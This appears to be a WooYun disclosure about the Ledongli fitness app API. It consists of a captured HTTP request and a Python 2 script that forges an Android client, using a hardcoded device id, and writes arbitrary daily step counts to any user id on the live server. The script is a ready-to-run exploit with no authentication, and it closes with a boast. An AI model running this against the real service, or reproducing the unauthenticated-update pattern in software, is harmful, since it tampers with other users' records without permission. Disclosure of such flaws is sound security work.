WooYun.org

POST /xq/io.ashx HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.0.2; MI 2 MIUI/5.7.16)
Host: pl.api.ledongli.cn
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 262
action=profile&pc=867064010207023&cmd=updatedaily&uid=2836992&list=%5B%7B%22date%22%3A1443369600%2C%22calories%22%3A0%2C%22activeValue%22%3A108%2C%22steps%22%3A99999%2C%22pm2d5%22%3A0%2C%22duration%22%3A0%2C%22distance%22%3A0%2C%22report%22%3A%22%5B%5D%22%7D%5D

#coding: utf-8
#date: 2015年9月29日01:50:37
#usage: edit steps and ledongli's uid(u need to download this app) .That would be ok .Good luck. ^_^
import requests
import sys
import json
import datetime
import time
def isnum(value):
    try:
        temp = int(value)
    except Exception, e:
        return False
    else:
        return True
# like 2015-09-25 00:00:00 converts to unix time stamp
def formatDate():
    nowtime = datetime.datetime.now()
    date = time.strftime('%Y-%m-%d')
    strtemp_date = date + ' 00:00:00'
    ledongli_date = time.strptime(strtemp_date, '%Y-%m-%d %H:%M:%S')
    finaldate = time.mktime(ledongli_date) # rusult is 1443456000.0(float type), but still need to format to 1443456000
    finaldate = int(finaldate)
    return finaldate
def main(steps, uid):
    if not isnum(steps):
        print 'param error. steps must be an integer.'
    url = 'http://pl.api.ledongli.cn/xq/io.ashx'
    fake_headers = {
                        'User-Agent'     : 'Dalvik/2.1.0 (Linux; U; Android 5.0.2; MI 2 MIUI/5.7.16)',
                        'Content-Type'   : 'application/x-www-form-urlencoded; charset=UTF-8',
                        'Accept-Encoding': 'gzip'
                    }
    keycontentjson = [
                        {
                            "date": formatDate(),
                            "calories": 0,
                            "activeValue": 108,
                            "steps": steps,
                            "pm2d5": 0,
                            "duration": 0,
                            "distance": 0,
                            "report": "[]"
                        }
                     ]
    # key is a str type
    # key must be a json data convert to string
    key = json.dumps(keycontentjson)
    param = {
                'action': 'profile',
                'pc':     '867064010207023',
                'cmd':    'updatedaily',
                'uid':    uid,
                'list':   key
            }
    r = requests.post(url, data = param, headers = fake_headers)
    print r.text
    print '_kazakhsoft曰：装逼成功'
if __name__ == '__main__':
    steps = 6666
    uid = '34452077'
    main(steps, uid)